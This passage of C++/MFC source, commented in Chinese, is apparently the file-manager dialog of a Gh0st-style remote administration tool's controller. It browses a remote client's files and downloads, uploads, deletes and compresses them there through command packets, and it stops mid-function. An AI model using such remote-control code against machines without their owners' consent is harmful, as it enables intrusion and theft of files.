e->GetErrorMessage(err, sizeof(err));
Mprintf("[ERROR] CFileException: %s\n", err);
} catch (CException* e) {
char err[256];
e->GetErrorMessage(err, sizeof(err));
Mprintf("[ERROR] CException: %s\n", err);
} catch (...) {
Mprintf("[ERROR] Other exception\n");
}
break;
case TOKEN_FILE_SIZE: // 传输文件时的第一个数据包,文件大小,及文件名
CreateLocalRecvFile();
break;
case TOKEN_FILE_DATA: // 文件内容
WriteLocalRecvFile();
break;
case TOKEN_TRANSFER_FINISH: // 传输完成
EndLocalRecvFile();
break;
case TOKEN_CREATEFOLDER_FINISH:
GetRemoteFileList(".");
break;
case TOKEN_DELETE_FINISH:
EndRemoteDeleteFile();
break;
case TOKEN_GET_TRANSFER_MODE:
SendTransferMode();
break;
case TOKEN_DATA_CONTINUE:
SendFileData();
break;
case TOKEN_RENAME_FINISH:
// 刷新远程文件列表
GetRemoteFileList(".");
break;
default:
SendException();
break;
}
}
void CFileManagerDlg::GetRemoteFileList(CString directory)
{
if (directory.GetLength() == 0) {
int nItem = m_list_remote.GetSelectionMark();
// 如果有选中的,是目录
if (nItem != -1) {
if (m_list_remote.GetItemData(nItem) == 1) {
directory = m_list_remote.GetItemText(nItem, 0);
}
}
// 从组合框里得到路径
else {
m_Remote_Directory_ComboBox.GetWindowText(m_Remote_Path);
}
}
// 得到父目录
if (directory == "..") {
m_Remote_Path = GetParentDirectory(m_Remote_Path);
} else if (directory != ".") {
m_Remote_Path += directory;
if(m_Remote_Path.Right(1) != "\\")
m_Remote_Path += "\\";
}
// 是驱动器的根目录,返回磁盘列表
if (m_Remote_Path.GetLength() == 0) {
FixedRemoteDriveList();
return;
}
// 发送数据前清空缓冲区
int PacketSize = m_Remote_Path.GetLength() + 2;
BYTE *bPacket = (BYTE *)LocalAlloc(LPTR, PacketSize);
bPacket[0] = COMMAND_LIST_FILES;
memcpy(bPacket + 1, m_Remote_Path.GetBuffer(0), PacketSize - 1);
m_ContextObject->Send2Client(bPacket, PacketSize);
LocalFree(bPacket);
m_Remote_Directory_ComboBox.InsertString(0, m_Remote_Path);
m_Remote_Directory_ComboBox.SetCurSel(0);
// 得到返回数据前禁窗口
m_list_remote.EnableWindow(FALSE);
m_ProgressCtrl->SetPos(0);
}
void CFileManagerDlg::OnDblclkListRemote(NMHDR* pNMHDR, LRESULT* pResult)
{
if (m_list_remote.GetSelectedCount() == 0 || m_list_remote.GetItemData(m_list_remote.GetSelectionMark()) != 1)
return;
// TODO: Add your control notification handler code here
GetRemoteFileList();
*pResult = 0;
}
void CFileManagerDlg::FixedRemoteFileList(BYTE *pbBuffer, DWORD dwBufferLen)
{
// 重新设置ImageList
SHFILEINFO sfi = {};
HIMAGELIST hImageListLarge = (HIMAGELIST)SHGetFileInfo(NULL, 0, &sfi,sizeof(SHFILEINFO), SHGFI_SYSICONINDEX | SHGFI_LARGEICON);
HIMAGELIST hImageListSmall = (HIMAGELIST)SHGetFileInfo(NULL, 0, &sfi,sizeof(SHFILEINFO), SHGFI_SYSICONINDEX | SHGFI_SMALLICON);
ListView_SetImageList(m_list_remote.m_hWnd, hImageListLarge, LVSIL_NORMAL);
ListView_SetImageList(m_list_remote.m_hWnd, hImageListSmall, LVSIL_SMALL);
// 重建标题
m_list_remote.DeleteAllItems();
while(m_list_remote.DeleteColumn(0) != 0);
m_list_remote.InsertColumn(0, "名称", LVCFMT_LEFT, 200);
m_list_remote.InsertColumn(1, "大小", LVCFMT_LEFT, 100);
m_list_remote.InsertColumn(2, "类型", LVCFMT_LEFT, 100);
m_list_remote.InsertColumn(3, "修改日期", LVCFMT_LEFT, 115);
int nItemIndex = 0;
m_list_remote.SetItemData
(
m_list_remote.InsertItem(nItemIndex++, "..", GetIconIndex(NULL, FILE_ATTRIBUTE_DIRECTORY)),
1
);
/*
ListView
SetRedraw(FALSE)
SetRedraw(TRUE)
*/
m_list_remote.SetRedraw(FALSE);
if (dwBufferLen != 0) {
//
for (int i = 0; i < 2; ++i) {
// 跳过Token共5字节
char *pList = (char *)(pbBuffer + 1);
for(char *pBase = pList; pList - pBase < dwBufferLen - 1;) {
char *pszFileName = NULL;
DWORD dwFileSizeHigh = 0; // 文件高字节大小
DWORD dwFileSizeLow = 0; // 文件低字节大小
int nItem = 0;
bool bIsInsert = false;
FILETIME ftm_strReceiveLocalFileTime;
int nType = *pList ? FILE_ATTRIBUTE_DIRECTORY : FILE_ATTRIBUTE_NORMAL;
// i 为 0 时列目录i为1时列文件
bIsInsert = !(nType == FILE_ATTRIBUTE_DIRECTORY) == i;
pszFileName = ++pList;
if (bIsInsert) {
nItem = m_list_remote.InsertItem(nItemIndex++, pszFileName, GetIconIndex(pszFileName, nType));
m_list_remote.SetItemData(nItem, nType == FILE_ATTRIBUTE_DIRECTORY);
SHFILEINFO sfi = {};
SHGetFileInfo(pszFileName, FILE_ATTRIBUTE_NORMAL | nType, &sfi,sizeof(SHFILEINFO), SHGFI_TYPENAME | SHGFI_USEFILEATTRIBUTES);
m_list_remote.SetItemText(nItem, 2, sfi.szTypeName);
}
// 得到文件大小
pList += lstrlen(pszFileName) + 1;
if (bIsInsert) {
memcpy(&dwFileSizeHigh, pList, 4);
memcpy(&dwFileSizeLow, pList + 4, 4);
CString strSize;
strSize.Format("%10d KB", (dwFileSizeHigh * (MAXDWORD+long long(1))) / 1024 + dwFileSizeLow / 1024 + (dwFileSizeLow % 1024 ? 1 : 0));
m_list_remote.SetItemText(nItem, 1, strSize);
memcpy(&ftm_strReceiveLocalFileTime, pList + 8, sizeof(FILETIME));
CTime time(ftm_strReceiveLocalFileTime);
m_list_remote.SetItemText(nItem, 3, time.Format("%Y-%m-%d %H:%M"));
}
pList += 16;
}
}
}
m_list_remote.SetRedraw(TRUE);
// 恢复窗口
m_list_remote.EnableWindow(TRUE);
ShowMessage("远程:装载目录 %s 完成", m_Remote_Path);
}
void CFileManagerDlg::ShowMessage(char *lpFmt, ...)
{
char *buff = new char[1024];
va_list arglist;
va_start( arglist, lpFmt );
memset(buff, 0, 1024);
vsprintf(buff, lpFmt, arglist);
// fix: 多线程操作控件引发崩溃的问题
// m_wndStatusBar.SetPaneText(0, buff);
// msg 第1个参数为缓存大小,第2个参数为缓存指针
SendMessage(WM_MY_MESSAGE, 1024, (LPARAM)buff);
va_end( arglist );
}
void CFileManagerDlg::OnLocalPrev()
{
// TODO: Add your command handler code here
FixedLocalFileList("..");
}
void CFileManagerDlg::OnRemotePrev()
{
// TODO: Add your command handler code here
GetRemoteFileList("..");
}
void CFileManagerDlg::OnLocalView()
{
// TODO: Add your command handler code here
m_list_local.ModifyStyle(LVS_TYPEMASK, LVS_ICON);
}
// 在工具栏上显示ToolTip
BOOL CFileManagerDlg::OnToolTipNotify(UINT id, NMHDR* pNMHDR, LRESULT* pResult)
{
ASSERT(pNMHDR->code == TTN_NEEDTEXTA || pNMHDR->code == TTN_NEEDTEXTW);
//让上一层的边框窗口优先处理该消息
if (GetRoutingFrame() != NULL)
return FALSE;
//分ANSI and UNICODE两个处理版本
TOOLTIPTEXTA* pTTTA = (TOOLTIPTEXTA*)pNMHDR;
TOOLTIPTEXTW* pTTTW = (TOOLTIPTEXTW*)pNMHDR;
TCHAR szFullText[256];
CString strTipText;
UINT_PTR nID = pNMHDR->idFrom;
//如果idFrom是一个子窗口则得到其ID。
if (
pNMHDR->code == TTN_NEEDTEXTA
&& (pTTTA->uFlags & TTF_IDISHWND)
|| pNMHDR->code == TTN_NEEDTEXTW
&& (pTTTW->uFlags & TTF_IDISHWND)
) {
//idFrom是工具条的句柄
nID = ::GetDlgCtrlID((HWND)nID);
}
if (nID != 0) { //若是0为一分隔栏不是按钮
//得到nID对应的字符串
AfxLoadString(nID, szFullText);
//从上面得到的字符串中取出Tooltip使用的文本
AfxExtractSubString(strTipText, szFullText, 1, '\n');
}
//复制分离出的文本
#ifndef _UNICODE
if (pNMHDR->code == TTN_NEEDTEXTA)
lstrcpyn(pTTTA->szText, strTipText, sizeof(pTTTA->szText));
else
_mbstowcsz(pTTTW->szText, strTipText, sizeof(pTTTW->szText));
#else
if (pNMHDR->code == TTN_NEEDTEXTA)
_wcstombsz(pTTTA->szText, strTipText, sizeof(pTTTA->szText));
else
lstrcpyn(pTTTW->szText, strTipText, sizeof(pTTTW->szText));
#endif
*pResult = 0;
//显示Tooltip窗口
::SetWindowPos(pNMHDR->hwndFrom, HWND_TOP, 0, 0, 0, 0, SWP_NOACTIVATE|SWP_NOSIZE|SWP_NOMOVE);
return TRUE; //消息处理完毕
}
//////////////////////////////////以下为工具栏响应处理//////////////////////////////////////////
void CFileManagerDlg::OnLocalList()
{
// TODO: Add your command handler code here
m_list_local.ModifyStyle(LVS_TYPEMASK, LVS_LIST);
}
void CFileManagerDlg::OnLocalReport()
{
// TODO: Add your command handler code here
m_list_local.ModifyStyle(LVS_TYPEMASK, LVS_REPORT);
}
void CFileManagerDlg::OnLocalBigicon()
{
// TODO: Add your command handler code here
m_list_local.ModifyStyle(LVS_TYPEMASK, LVS_ICON);
}
void CFileManagerDlg::OnLocalSmallicon()
{
// TODO: Add your command handler code here
m_list_local.ModifyStyle(LVS_TYPEMASK, LVS_SMALLICON);
}
void CFileManagerDlg::OnRemoteList()
{
// TODO: Add your command handler code here
m_list_remote.ModifyStyle(LVS_TYPEMASK, LVS_LIST);
}
void CFileManagerDlg::OnRemoteReport()
{
// TODO: Add your command handler code here
m_list_remote.ModifyStyle(LVS_TYPEMASK, LVS_REPORT);
}
void CFileManagerDlg::OnRemoteBigicon()
{
// TODO: Add your command handler code here
m_list_remote.ModifyStyle(LVS_TYPEMASK, LVS_ICON);
}
void CFileManagerDlg::OnRemoteSmallicon()
{
// TODO: Add your command handler code here
m_list_remote.ModifyStyle(LVS_TYPEMASK, LVS_SMALLICON);
}
void CFileManagerDlg::OnRemoteView()
{
// TODO: Add your command handler code here
m_list_remote.ModifyStyle(LVS_TYPEMASK, LVS_ICON);
}
// 为根目录时禁用向上按钮
void CFileManagerDlg::OnUpdateLocalPrev(CCmdUI* pCmdUI)
{
// TODO: Add your command update UI handler code here
pCmdUI->Enable(m_Local_Path.GetLength() && m_list_local.IsWindowEnabled());
}
void CFileManagerDlg::OnUpdateLocalDelete(CCmdUI* pCmdUI)
{
// TODO: Add your command update UI handler code here
// 不是根目录并且选择项目大于0
pCmdUI->Enable(m_Local_Path.GetLength() && m_list_local.GetSelectedCount() && m_list_local.IsWindowEnabled());
}
void CFileManagerDlg::OnUpdateLocalNewfolder(CCmdUI* pCmdUI)
{
// TODO: Add your command update UI handler code here
pCmdUI->Enable(m_Local_Path.GetLength() && m_list_local.IsWindowEnabled());
}
void CFileManagerDlg::OnUpdateLocalCopy(CCmdUI* pCmdUI)
{
// TODO: Add your command update UI handler code here
pCmdUI->Enable
(
m_list_local.IsWindowEnabled()
&& (m_Remote_Path.GetLength() || m_list_remote.GetSelectedCount()) // 远程路径为空,或者有选择
&& m_list_local.GetSelectedCount()// 本地路径为空,或者有选择
);
}
void CFileManagerDlg::OnUpdateLocalStop(CCmdUI* pCmdUI)
{
// TODO: Add your command update UI handler code here
pCmdUI->Enable(!m_list_local.IsWindowEnabled() && m_bIsUpload);
}
void CFileManagerDlg::OnUpdateRemotePrev(CCmdUI* pCmdUI)
{
// TODO: Add your command update UI handler code here
pCmdUI->Enable(m_Remote_Path.GetLength() && m_list_remote.IsWindowEnabled());
}
void CFileManagerDlg::OnUpdateRemoteCopy(CCmdUI* pCmdUI)
{
// TODO: Add your command update UI handler code here
// 不是根目录并且选择项目大于0
pCmdUI->Enable
(
m_list_remote.IsWindowEnabled()
&& (m_Local_Path.GetLength() || m_list_local.GetSelectedCount()) // 本地路径为空,或者有选择
&& m_list_remote.GetSelectedCount() // 远程路径为空,或者有选择
);
}
void CFileManagerDlg::OnUpdateRemoteDelete(CCmdUI* pCmdUI)
{
// TODO: Add your command update UI handler code here
// 不是根目录并且选择项目大于0
pCmdUI->Enable(m_Remote_Path.GetLength() && m_list_remote.GetSelectedCount() && m_list_remote.IsWindowEnabled());
}
void CFileManagerDlg::OnUpdateRemoteNewfolder(CCmdUI* pCmdUI)
{
// TODO: Add your command update UI handler code here
pCmdUI->Enable(m_Remote_Path.GetLength() && m_list_remote.IsWindowEnabled());
}
void CFileManagerDlg::OnUpdateRemoteStop(CCmdUI* pCmdUI)
{
// TODO: Add your command update UI handler code here
pCmdUI->Enable(!m_list_remote.IsWindowEnabled() && !m_bIsUpload);
}
bool CFileManagerDlg::FixedUploadDirectory(LPCTSTR lpPathName)
{
char lpszFilter[MAX_PATH];
char *lpszSlash = NULL;
memset(lpszFilter, 0, sizeof(lpszFilter));
if (lpPathName[lstrlen(lpPathName) - 1] != '\\')
lpszSlash = "\\";
else
lpszSlash = "";
wsprintf(lpszFilter, "%s%s*.*", lpPathName, lpszSlash);
WIN32_FIND_DATA wfd;
HANDLE hFind = FindFirstFile(lpszFilter, &wfd);
if (hFind == INVALID_HANDLE_VALUE) // 如果没有找到或查找失败
return FALSE;
do {
if (wfd.cFileName[0] == '.')
continue; // 过滤这两个目录
if (wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
char strDirectory[MAX_PATH];
wsprintf(strDirectory, "%s%s%s", lpPathName, lpszSlash, wfd.cFileName);
FixedUploadDirectory(strDirectory); // 如果找到的是目录,则进入此目录进行递归
} else {
CString file;
file.Format("%s%s%s", lpPathName, lpszSlash, wfd.cFileName);
//Mprintf("send file %s\n",strFile);
m_Remote_Upload_Job.AddTail(file);
// 对文件进行操作
}
} while (FindNextFile(hFind, &wfd));
FindClose(hFind); // 关闭查找句柄
return true;
}
void CFileManagerDlg::EnableControl(BOOL bEnable)
{
m_list_local.EnableWindow(bEnable);
m_list_remote.EnableWindow(bEnable);
m_Local_Directory_ComboBox.EnableWindow(bEnable);
m_Remote_Directory_ComboBox.EnableWindow(bEnable);
}
void CFileManagerDlg::OnLocalCopy()
{
m_bIsUpload = true;
// TODO: Add your command handler code here
// TODO: Add your command handler code here
// 如果Drag的找到Drop到了哪个文件夹
if (m_nDropIndex != -1 && m_pDropList->GetItemData(m_nDropIndex))
m_hCopyDestFolder = m_pDropList->GetItemText(m_nDropIndex, 0);
// 重置上传任务列表
m_Remote_Upload_Job.RemoveAll();
POSITION pos = m_list_local.GetFirstSelectedItemPosition(); //iterator for the CListCtrl
while(pos) { //so long as we have a valid POSITION, we keep iterating
int nItem = m_list_local.GetNextSelectedItem(pos);
CString file = m_Local_Path + m_list_local.GetItemText(nItem, 0);
// 如果是目录
if (m_list_local.GetItemData(nItem)) {
file += '\\';
FixedUploadDirectory(file.GetBuffer(0));
} else {
// 添加到上传任务列表中去
m_Remote_Upload_Job.AddTail(file);
}
} //EO while(pos) -- at this point we have deleted the moving items and stored them in memory
if (m_Remote_Upload_Job.IsEmpty()) {
::MessageBox(m_hWnd, "文件夹为空", "警告", MB_OK|MB_ICONWARNING);
return;
}
EnableControl(FALSE);
SendUploadJob();
}
void CFileManagerDlg::OnLocalCompress()
{
std::vector<std::string> paths;
POSITION pos = m_list_local.GetFirstSelectedItemPosition();
while (pos) {
int nItem = m_list_local.GetNextSelectedItem(pos);
CString file = m_Local_Path + m_list_local.GetItemText(nItem, 0);
// 如果是目录
if (m_list_local.GetItemData(nItem)) {
file += '\\';
}
paths.push_back(file.GetBuffer(0));
}
std::string target = m_Local_Path.GetString() + ToPekingDateTime(0) + ".zsta";
zsta::Error err = zsta::CZstdArchive::Compress(paths, target);
if (err != zsta::Error::Success) {
::MessageBoxA(m_hWnd, "压缩失败: " + CString(zsta::CZstdArchive::GetErrorString(err)),
"错误", MB_OK | MB_ICONERROR);
} else {
FixedLocalFileList(".");
}
}
bool HasZstaExtension(const std::string& path)
{
if (path.size() < 5) return false;
std::string ext = path.substr(path.size() - 5);
// 转小写比较
for (char& c : ext) c = tolower(c);
return ext == ".zsta";
}
std::string GetExtractDir(const std::string& archivePath)
{
if (archivePath.size() >= 5) {
std::string ext = archivePath.substr(archivePath.size() - 5);
for (char& c : ext) c = tolower(c);
if (ext == ".zsta") {
return archivePath.substr(0, archivePath.size() - 5);
}
}
return archivePath + "_extract";
}
void CFileManagerDlg::OnLocalUnCompress()
{
BOOL needRefresh = FALSE;
POSITION pos = m_list_local.GetFirstSelectedItemPosition();
while (pos) {
int nItem = m_list_local.GetNextSelectedItem(pos);
CString file = m_Local_Path + m_list_local.GetItemText(nItem, 0);
// 如果是目录
if (m_list_local.GetItemData(nItem)) {
continue;
} else if (HasZstaExtension(file.GetString())) {
std::string path(file.GetBuffer(0));
std::string destDir = GetExtractDir(path);
zsta::Error err = zsta::CZstdArchive::Extract(path, destDir);
if (err != zsta::Error::Success) {
::MessageBoxA(m_hWnd, "解压失败: " + CString(zsta::CZstdArchive::GetErrorString(err)),
"错误", MB_OK | MB_ICONERROR);
} else {
needRefresh = TRUE;
}
}
}
if (needRefresh) {
FixedLocalFileList(".");
}
}
//////////////// 文件传输操作 ////////////////
// 只管发出了下载的文件
// 一个一个发,接收到下载完成时,下载第二个文件 ...
void CFileManagerDlg::OnRemoteCopy()
{
m_bIsUpload = false;
// 禁用文件管理窗口
EnableControl(TRUE);
// TODO: Add your command handler code here
// 如果Drag的找到Drop到了哪个文件夹
if (m_nDropIndex != -1 && m_pDropList->GetItemData(m_nDropIndex))
m_hCopyDestFolder = m_pDropList->GetItemText(m_nDropIndex, 0);
// 重置下载任务列表
m_Remote_Download_Job.RemoveAll();
POSITION pos = m_list_remote.GetFirstSelectedItemPosition(); //iterator for the CListCtrl
while(pos) { //so long as we have a valid POSITION, we keep iterating
int nItem = m_list_remote.GetNextSelectedItem(pos);
CString file = m_Remote_Path + m_list_remote.GetItemText(nItem, 0);
// 如果是目录
if (m_list_remote.GetItemData(nItem))
file += '\\';
// 添加到下载任务列表中去
m_Remote_Download_Job.AddTail(file);
} //EO while(pos) -- at this point we have deleted the moving items and stored them in memory
// 发送第一个下载任务
SendDownloadJob();
}
std::vector<char> BuildMultiStringPath(const std::vector<std::string>& paths);
void CFileManagerDlg::OnRemoteCompress()
{
std::vector<std::string> paths;
std::string target = m_Remote_Path.GetString() + ToPekingDateTime(0) + ".zsta";
paths.push_back(target);
POSITION pos = m_list_remote.GetFirstSelectedItemPosition();
while (pos) {
int nItem = m_list_remote.GetNextSelectedItem(pos);
CString file = m_Remote_Path + m_list_remote.GetItemText(nItem, 0);
// 如果是目录
if (m_list_remote.GetItemData(nItem)) {
file += '\\';
}
paths.push_back(file.GetBuffer(0));
}
if (paths.size() <= 1) {
::MessageBoxA(m_hWnd, "请先选择要压缩的文件或文件夹!", "提示", MB_OK | MB_ICONWARNING);
return;
}
auto pathsMultiString = BuildMultiStringPath(paths);
BYTE* bPacket = (BYTE*)LocalAlloc(LPTR, pathsMultiString.size() + 1);
if (bPacket) {
memcpy(bPacket + 1, pathsMultiString.data(), pathsMultiString.size());
bPacket[0] = CMD_COMPRESS_FILES;
m_ContextObject->Send2Client(bPacket, (DWORD)(pathsMultiString.size() + 1));
LocalFree(bPacket);
}
}
void CFileManagerDlg::OnRemoteUnCompress()
{
std::vector<std::string> paths;
POSITION pos = m_list_remote.GetFirstSelectedItemPosition();
while (pos) {
int nItem = m_list_remote.GetNextSelectedItem(pos);
CString file = m_Remote_Path + m_list_remote.GetItemText(nItem, 0);
// 如果是目录
if (m_list_remote.GetItemData(nItem)) {
continue;
} else if (HasZstaExtension(file.GetString())) {
paths.push_back(file.GetBuffer(0));
}
}
if (paths.empty()) {
::MessageBoxA(m_hWnd, "请先选择要解压的.zsta文件!", "提示", MB_OK | MB_ICONWARNING);
return;
}
auto pathsMultiString = BuildMultiStringPath(paths);
BYTE* bPacket = (BYTE*)LocalAlloc(LPTR, pathsMultiString.size() + 1);
if (bPacket) {
memcpy(bPacket + 1, pathsMultiString.data(), pathsMultiString.size());
bPacket[0] = CMD_UNCOMPRESS_FILES;
m_ContextObject->Send2Client(bPacket, (DWORD)(pathsMultiString.size() + 1));
LocalFree(bPacket);
}
}
// 发出一个下载任务
BOOL CFileManagerDlg::SendDownloadJob()
{
if (m_Remote_Download_Job.IsEmpty())
return FALSE;
// 发出第一个下载任务命令
CString file = m_Remote_Download_Job.GetHead();
int nPacketSize = file.GetLength() + 2;
BYTE *bPacket = (BYTE *)LocalAlloc(LPTR, nPacketSize);
bPacket[0] = COMMAND_DOWN_FILES;
// 文件偏移,续传时用
memcpy(bPacket + 1, file.GetBuffer(0), file.GetLength() + 1);
m_ContextObject->Send2Client(bPacket, nPacketSize);
LocalFree(bPacket);
// 从下载任务列表中删除自己
m_Remote_Download_Job.RemoveHead();
return TRUE;
}
// 发出一个上传任务
BOOL CFileManagerDlg::SendUploadJob()
{
if (m_Remote_Upload_Job.IsEmpty())
return FALSE;
CString strDestDirectory = m_Remote_Path;
// 如果远程也有选择,当做目标文件夹
int nItem = m_list_remote.GetSelectionMark();
// 是文件夹
if (nItem != -1 && m_list_remote.GetItemData(nItem) == 1) {
strDestDirectory += m_list_remote.GetItemText(nItem, 0) + "\\";
}
if (!m_hCopyDestFolder.IsEmpty()) {
strDestDirectory += m_hCopyDestFolder + "\\";
}
// 发出第一个下载任务命令
m_strOperatingFile = m_Remote_Upload_Job.GetHead();
DWORD dwSizeHigh;
DWORD dwSizeLow;
// 1 字节token, 8字节大小, 文件名称, '\0'
HANDLE hFile;
CString fileRemote = m_strOperatingFile; // 远程文件
// 得到要保存到的远程的文件路径
fileRemote.Replace(m_Local_Path, strDestDirectory);
m_strUploadRemoteFile = fileRemote;
hFile = CreateFile(m_strOperatingFile.GetBuffer(0), GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
if (hFile == INVALID_HANDLE_VALUE)
return FALSE;
dwSizeLow = GetFileSize (hFile, &dwSizeHigh);
m_nOperatingFileLength = (dwSizeHigh * (MAXDWORD+long long(1))) + dwSizeLow;
SAFE_CLOSE_HANDLE(hFile);
// 构造数据包,发送文件长度
int nPacketSize = fileRemote.GetLength() + 10;
BYTE *bPacket = (BYTE *)LocalAlloc(LPTR, nPacketSize);
memset(bPacket, 0, nPacketSize);
bPacket[0] = COMMAND_FILE_SIZE;
memcpy(bPacket + 1, &dwSizeHigh, sizeof(DWORD));
memcpy(bPacket + 5, &dwSizeLow, sizeof(DWORD));
memcpy(bPacket + 9, fileRemote.GetBuffer(0), fileRemote.GetLength() + 1);
m_ContextObject->Send2Client(bPacket, nPacketSize);
LocalFree(bPacket);
// 从下载任务列表中删除自己
m_Remote_Upload_Job.RemoveHead();
return TRUE;
}
// 发出一个删除任务
BOOL CFileManagerDlg::SendDeleteJob()
{
if (m_Remote_Delete_Job.IsEmpty())
return FALSE;
// 发出第一个下载任务命令
CString file = m_Remote_Delete_Job.GetHead();
int nPacketSize = file.GetLength() + 2;
BYTE *bPacket = (BYTE *)LocalAlloc(LPTR, nPacketSize);
if (file.GetAt(file.GetLength() - 1) == '\\') {
ShowMessage("远程:删除目录 %s\\*.* 完成", file);
bPacket[0] = COMMAND_DELETE_DIRECTORY;
} else {
ShowMessage("远程:删除文件 %s 完成", file);
bPacket[0] = COMMAND_DELETE_FILE;
}
// 文件偏移,续传时用
memcpy(bPacket + 1, file.GetBuffer(0), nPacketSize - 1);
m_ContextObject->Send2Client(bPacket, nPacketSize);
LocalFree(bPacket);
// 从下载任务列表中删除自己
m_Remote_Delete_Job.RemoveHead();
return TRUE;
}
void CFileManagerDlg::CreateLocalRecvFile()
{
// 重置计数器
m_nCounter = 0;
CString strDestDirectory = m_Local_Path;
// 如果本地也有选择,当做目标文件夹
int nItem = m_list_local.GetSelectionMark();
// 是文件夹
if (nItem != -1 && m_list_local.GetItemData(nItem) == 1) {
strDestDirectory += m_list_local.GetItemText(nItem, 0) + "\\";
}
if (!m_hCopyDestFolder.IsEmpty()) {
strDestDirectory += m_hCopyDestFolder + "\\";
}
FILESIZE *pFileSize = (FILESIZE *)(m_ContextObject->m_DeCompressionBuffer.GetBuffer(1));
DWORD dwSizeHigh = pFileSize->dwSizeHigh;
DWORD dwSizeLow = pFileSize->dwSizeLow;
m_nOperatingFileLength = (dwSizeHigh * (MAXDWORD+long long(1))) + dwSizeLow;
// 当前正操作的文件名
m_strOperatingFile = m_ContextObject->m_DeCompressionBuffer.GetBuffer(9);
m_strReceiveLocalFile = m_strOperatingFile;
// 得到要保存到的本地的文件路径
m_strReceiveLocalFile.Replace(m_Remote_Path, strDestDirectory);
// 创建多层目录
MakeSureDirectoryPathExists(m_strReceiveLocalFile.GetBuffer(0));
WIN32_FIND_DATA FindFileData;
HANDLE hFind = FindFirstFile(m_strReceiveLocalFile.GetBuffer(0), &FindFileData);
if (hFind != INVALID_HANDLE_VALUE
&& m_nTransferMode != TRANSFER_MODE_OVERWRITE_ALL
&& m_nTransferMode != TRANSFER_MODE_ADDITION_ALL
&& m_nTransferMode != TRANSFER_MODE_JUMP_ALL
) {
CFileTransferModeDlg dlg(this);
dlg.m_strFileName = m_strReceiveLocalFile;
switch (dlg.DoModal()) {
case IDC_OVERWRITE:
m_nTransferMode = TRANSFER_MODE_OVERWRITE;
break;
case IDC_OVERWRITE_ALL:
m_nTransferMode = TRANSFER_MODE_OVERWRITE_ALL;
break;
case IDC_ADDITION:
m_nTransferMode = TRANSFER_MODE_ADDITION;
break;
case IDC_ADDITION_ALL:
m_nTransferMode = TRANSFER_MODE_ADDITION_ALL;
break;
case IDC_JUMP:
m_nTransferMode = TRANSFER_MODE_JUMP;
break;
case IDC_JUMP_ALL:
m_nTransferMode = TRANSFER_MODE_JUMP_ALL;
break;
case IDC_CANCEL:
m_nTransferMode = TRANSFER_MODE_CANCEL;
break;
}
}
if (m_nTransferMode == TRANSFER_MODE_CANCEL) {
// 取消传送
m_bIsStop = true;
SendStop();
return;
}
int nTransferMode;
switch (m_nTransferMode) {
case TRANSFER_MODE_OVERWRITE_ALL:
nTransferMode = TRANSFER_MODE_OVERWRITE;
break;
case TRANSFER_MODE_ADDITION_ALL:
nTransferMode = TRANSFER_MODE_ADDITION;
break;
case TRANSFER_MODE_JUMP_ALL:
nTransferMode = TRANSFER_MODE_JUMP;
break;
default:
nTransferMode = m_nTransferMode;
}
// 1字节Token,四字节偏移高四位,四字节偏移低四位
BYTE bToken[9];
DWORD dwCreationDisposition; // 文件打开方式
memset(bToken, 0, sizeof(bToken));
bToken[0] = COMMAND_CONTINUE;
// 文件已经存在
if (hFind != INVALID_HANDLE_VALUE) {
// 提示点什么
// 如果是续传
if (nTransferMode == TRANSFER_MODE_ADDITION) {
memcpy(bToken + 1, &FindFileData.nFileSizeHigh, 4);
memcpy(bToken + 5, &FindFileData.nFileSizeLow, 4);
// 接收的长度递增
m_nCounter += FindFileData.nFileSizeHigh * (MAXDWORD+long long(1));
m_nCounter += FindFileData.nFileSizeLow;
dwCreationDisposition = OPEN_EXISTING;
}
// 覆盖
else if (nTransferMode == TRANSFER_MODE_OVERWRITE) {
// 偏移置0
memset(bToken + 1, 0, 8);
// 重新创建
dwCreationDisposition = CREATE_ALWAYS;
}
// 跳过,指针移到-1
else if (nTransferMode == TRANSFER_MODE_JUMP) {
m_ProgressCtrl->SetPos(100);
DWORD dwOffset = -1;
memcpy(bToken + 5, &dwOffset, 4);
dwCreationDisposition = OPEN_EXISTING;
}
} else {
// 偏移置0
memset(bToken + 1, 0, 8);
// 重新创建
dwCreationDisposition = CREATE_ALWAYS;
}
FindClose(hFind);
HANDLE hFile =
CreateFile
(
m_strReceiveLocalFile.GetBuffer(0),
GENERIC_WRITE,
FILE_SHARE_WRITE,
NULL,
dwCreationDisposition,
FILE_ATTRIBUTE_NORMAL,
0
);
// 需要错误处理
if (hFile == INVALID_HANDLE_VALUE) {
m_nOperatingFileLength = 0;
m_nCounter = 0;
::MessageBox(m_hWnd, m_strReceiveLocalFile + " 文件创建失败", "警告", MB_OK|MB_ICONWARNING);
return;
}
SAFE_CLOSE_HANDLE(hFile);
ShowProgress();
if (m_bIsStop)
SendStop();
else {
// 发送继续传输文件的token,包含文件续传的偏移
m_ContextObject->Send2Client(bToken, sizeof(bToken));
}
}
// 写入文件内容
void CFileManagerDlg::WriteLocalRecvFile()
{
// 传输完毕
BYTE *pData;
DWORD dwBytesToWrite;
DWORD dwBytesWrite;
int nHeadLength = 9; // 1 + 4 + 4 数据包头部大小为固定的9
FILESIZE *pFileSize;
// 得到数据的偏移
pData = m_ContextObject->m_DeCompressionBuffer.GetBuffer(nHeadLength);
pFileSize = (FILESIZE *)m_ContextObject->m_DeCompressionBuffer.GetBuffer(1);
// 得到数据在文件中的偏移, 赋值给计数器
m_nCounter = MAKEINT64(pFileSize->dwSizeLow, pFileSize->dwSizeHigh);
LONG dwOffsetHigh = pFileSize->dwSizeHigh;
LONG dwOffsetLow = pFileSize->dwSizeLow;
dwBytesToWrite = m_ContextObject->m_DeCompressionBuffer.GetBufferLen() - nHeadLength;
HANDLE hFile =
CreateFile
(
m_strReceiveLocalFile.GetBuffer(0),
GENERIC_WRITE,
FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
0
);
SetFilePointer(hFile, dwOffsetLow, &dwOffsetHigh, FILE_BEGIN);
int nRet = 0, i = 0;
for (; i < MAX_WRITE_RETRY; ++i) {
// 写入文件
nRet = WriteFile
(
hFile,
pData,
dwBytesToWrite,
&dwBytesWrite,
NULL
);
if (nRet > 0) {
break;
}
}
if (i == MAX_WRITE_RETRY && nRet <= 0) {
::MessageBox(m_hWnd, m_strReceiveLocalFile + " 文件写入失败!", "警告", MB_OK|MB_ICONWARNING);
m_bIsStop = true;
}
SAFE_CLOSE_HANDLE(hFile);
// 为了比较,计数器递增
